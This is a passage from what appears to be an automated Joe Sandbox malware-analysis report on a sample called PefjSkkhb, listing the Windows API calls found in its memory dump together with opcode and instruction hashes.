                                                                                                                                                                            • RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,00007FF697B46F52,?,?,?,?,?,?,00007FF697B4782C), ref: 00007FF697B46FFA
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CloseOpenQueryValue
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3677997916-0
                                                                                                                                                                            • Opcode ID: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
                                                                                                                                                                            • Instruction ID: 8fa29691e31723350034615a0d590bf70cd39f895ecbcbe7337c887a448caa1f
                                                                                                                                                                            • Opcode Fuzzy Hash: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
                                                                                                                                                                            • Instruction Fuzzy Hash: BB219D33A18B4187D7208F25E85496E73A5FB89BC4B441171EB8DC3B18DF39E814DB04
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Process$CurrentExitTerminate
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1703294689-0
                                                                                                                                                                            • Opcode ID: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
                                                                                                                                                                            • Instruction ID: b1683dd1e910bd025b06779009c9a6f7b1ae4329cd4e1d7a34cb12ee58b8e80a
                                                                                                                                                                            • Opcode Fuzzy Hash: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
                                                                                                                                                                            • Instruction Fuzzy Hash: CFE01A74B0830596EB246F609C892792356EF8ABD1F1150BCC90E8339ACE3DE5088200
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Init_thread_footer
                                                                                                                                                                            • String ID: CALL
                                                                                                                                                                            • API String ID: 1385522511-4196123274
                                                                                                                                                                            • Opcode ID: bbe064554769086b9c8bd9943c7fd123000cf1a06c08045b2078ede9307d5009
                                                                                                                                                                            • Instruction ID: 6873bdc1ee19d483ecf1974eb505c5291c1626753d753b56076a6c9ef9c3f8ba
                                                                                                                                                                            • Opcode Fuzzy Hash: bbe064554769086b9c8bd9943c7fd123000cf1a06c08045b2078ede9307d5009
                                                                                                                                                                            • Instruction Fuzzy Hash: 78226572B08A82CAEB24DF64E4802AC37B1FB46BD8F5041B6DA4D97799CF38E555C340
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CreateFile
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 823142352-0
                                                                                                                                                                            • Opcode ID: 27afbee001dd2f14ab302487d27ec6636649baba111da03fe0a26036beb73b09
                                                                                                                                                                            • Instruction ID: 4bf66ba9e14ec04e9f3dae2c5bddeed8e3ab57330589ef708affbc9bfa58dddc
                                                                                                                                                                            • Opcode Fuzzy Hash: 27afbee001dd2f14ab302487d27ec6636649baba111da03fe0a26036beb73b09
                                                                                                                                                                            • Instruction Fuzzy Hash: B2418E72A08B46C6E7749F14E41437977A0EB86BE8F0482B1EA6D876CDCF7DE4049740
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Library$Load$AddressFreeProc
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2632591731-0
                                                                                                                                                                            • Opcode ID: 392ad9f8a410b3ba7add488219b3c7835b0d92f2120495b543ba498714cf74fb
                                                                                                                                                                            • Instruction ID: 9d2d74f9a50e512ad7437190ac4fe313e62f36a97cec71a72d870fe340681eea
                                                                                                                                                                            • Opcode Fuzzy Hash: 392ad9f8a410b3ba7add488219b3c7835b0d92f2120495b543ba498714cf74fb
                                                                                                                                                                            • Instruction Fuzzy Hash: 66413832A14A168AEB20EF25D8513FC23A0EB46BCCF454171EA0D87A9EDF3CD958D700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: IconNotifyShell_
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1144537725-0
                                                                                                                                                                            • Opcode ID: 32275c29c25acc732941c8e4684a790687827c850461c861846bda9725fb2c55
                                                                                                                                                                            • Instruction ID: 3388a08908f6bc90f9dbd0fbd9aa005a74735d0edbebf917b36336e8f235d9f7
                                                                                                                                                                            • Opcode Fuzzy Hash: 32275c29c25acc732941c8e4684a790687827c850461c861846bda9725fb2c55
                                                                                                                                                                            • Instruction Fuzzy Hash: 34417A32A09B86C6EB618F11E4403A933A8FB4ABC8F4401B5DA4C87799CF7CE694C710
                                                                                                                                                                            APIs
                                                                                                                                                                            • IsThemeActive.UXTHEME ref: 00007FF697B43756
                                                                                                                                                                              • Part of subcall function 00007FF697B69334: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B69348
                                                                                                                                                                              • Part of subcall function 00007FF697B436E8: SystemParametersInfoW.USER32 ref: 00007FF697B43705
                                                                                                                                                                              • Part of subcall function 00007FF697B436E8: SystemParametersInfoW.USER32 ref: 00007FF697B43725
                                                                                                                                                                              • Part of subcall function 00007FF697B437B0: GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B437F2
                                                                                                                                                                              • Part of subcall function 00007FF697B437B0: IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B43807
                                                                                                                                                                              • Part of subcall function 00007FF697B437B0: GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B4388D
                                                                                                                                                                              • Part of subcall function 00007FF697B437B0: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B43924
                                                                                                                                                                            • SystemParametersInfoW.USER32 ref: 00007FF697B43797
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme_invalid_parameter_noinfo
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 4207566314-0
                                                                                                                                                                            • Opcode ID: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
                                                                                                                                                                            • Instruction ID: 1fe24996aef40593167892af108a7bc52f8298633eaadafa0f0c2b6197ceb4f5
                                                                                                                                                                            • Opcode Fuzzy Hash: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
                                                                                                                                                                            • Instruction Fuzzy Hash: 2E01F671E0C2429EF774AF61A8156B976A2EF0A780F4800B5D54DC72AACE2DB5849700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ErrorFreeHeapLast
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 485612231-0
                                                                                                                                                                            • Opcode ID: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
                                                                                                                                                                            • Instruction ID: 6793be018f48ee0165307c1c53030760f4ee6796f203cc2d9df63122f02a6343
                                                                                                                                                                            • Opcode Fuzzy Hash: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
                                                                                                                                                                            • Instruction Fuzzy Hash: DBE08670E0920386FF346FB258141751691DF46BC0F8440B0D80DC6659ED2CD4854A00
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CloseErrorHandleLast
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 918212764-0
                                                                                                                                                                            • Opcode ID: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
                                                                                                                                                                            • Instruction ID: 793b3b7eeb0b7546e338089b7ab97696d369d2f6c0df9fa416f7771f5d1bbb89
                                                                                                                                                                            • Opcode Fuzzy Hash: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
                                                                                                                                                                            • Instruction Fuzzy Hash: EF119331B0C24741FEB49F64A5943FC1291DF96BE4F0812B4DA2EC67DADD6CE8448201
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Init_thread_footer
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1385522511-0
                                                                                                                                                                            • Opcode ID: 14d8bcb0f5e5d36dc6dc2465f5c4b4e36f70afd0639fb95ae083af4e2f9187f7
                                                                                                                                                                            • Instruction ID: 93ede0357ea97c19dbd75664055edbf8910906a5d4d1ed5f02e514cafec3a7ca
                                                                                                                                                                            • Opcode Fuzzy Hash: 14d8bcb0f5e5d36dc6dc2465f5c4b4e36f70afd0639fb95ae083af4e2f9187f7
                                                                                                                                                                            • Instruction Fuzzy Hash: A032CD72A0C68686EB70CF15E4442BA6761EB96BC8F4441B2DE5EC7799DF3DE841C301
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ClearVariant
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1473721057-0
                                                                                                                                                                            • Opcode ID: 2f2a7f0b4b99b489bd401bf82ee2ae899ba245d3bdd8c743c662dd8b12cd4bc5
                                                                                                                                                                            • Instruction ID: ca593567ccce76c1addaa218d18665cf959d162bacdfbf62dcf0b83fd1a5fb2f
                                                                                                                                                                            • Opcode Fuzzy Hash: 2f2a7f0b4b99b489bd401bf82ee2ae899ba245d3bdd8c743c662dd8b12cd4bc5
                                                                                                                                                                            • Instruction Fuzzy Hash: 43414636B08A4286EB21AF65E4803AC33A1FB86BD8F444575CE0D9779ACF7CE595C340
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: HandleModule$AddressFreeLibraryProc
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3947729631-0
                                                                                                                                                                            • Opcode ID: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
                                                                                                                                                                            • Instruction ID: f31dffb16c5eac4827271d7d0ef5bd37f8e5f259d6919e89478e8d8be77927bc
                                                                                                                                                                            • Opcode Fuzzy Hash: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
                                                                                                                                                                            • Instruction Fuzzy Hash: 12419C31A0865286EF74AF15D89127832A1EF82BD0F5450B9DA0E876D9DE3EEA418740
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _invalid_parameter_noinfo
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3215553584-0
                                                                                                                                                                            • Opcode ID: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
                                                                                                                                                                            • Instruction ID: 05eeb9035c29820d839cc5193e771c81647a596dca1d9a34ed3eac1d253114e3
                                                                                                                                                                            • Opcode Fuzzy Hash: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
                                                                                                                                                                            • Instruction Fuzzy Hash: 40218032E0C68682EA719F11940027EA2A1FF46BC4F5440B0EA4DDBF8EDF7CE9419740
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _invalid_parameter_noinfo
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3215553584-0
                                                                                                                                                                            • Opcode ID: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
                                                                                                                                                                            • Instruction ID: 08546a8083613db5e0c9f00c604db401ca4ed5332c76dfe939a00600625d4d10
                                                                                                                                                                            • Opcode Fuzzy Hash: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
                                                                                                                                                                            • Instruction Fuzzy Hash: DC21A43261864787EB758F25E4403B976A1EF86BD8F144274DA5DCB6DADF2CD810CB00
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _invalid_parameter_noinfo
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3215553584-0
                                                                                                                                                                            • Opcode ID: cd67e12c883e9f8bd43024705065033ffad1d181a756db3b5eb2a2d32994f697
                                                                                                                                                                            • Instruction ID: 73752cf3f6d687ce9c5c6a9492baf0b62717f578bd4ac83e7fc6a73fa885ba65
                                                                                                                                                                            • Opcode Fuzzy Hash: cd67e12c883e9f8bd43024705065033ffad1d181a756db3b5eb2a2d32994f697
                                                                                                                                                                            • Instruction Fuzzy Hash: 80116032A1C686C6F7309F50A44023A63A5FF46BC0F5405B9EA8DD7B99DF3CE8018B00
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 69bddbc63fd99da0361e32bf605d9336e4230c0dde7f0018513f1afea8dd74fd
                                                                                                                                                                            • Instruction ID: d037629df27cca5d06b84835120836c92687b45616498f328ba3e04d761dda9f
                                                                                                                                                                            • Opcode Fuzzy Hash: 69bddbc63fd99da0361e32bf605d9336e4230c0dde7f0018513f1afea8dd74fd
                                                                                                                                                                            • Instruction Fuzzy Hash: 48116D36718A4585EF249F19D0803796360EF85FD1F689172DE1E873A9CF7CD4908300
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
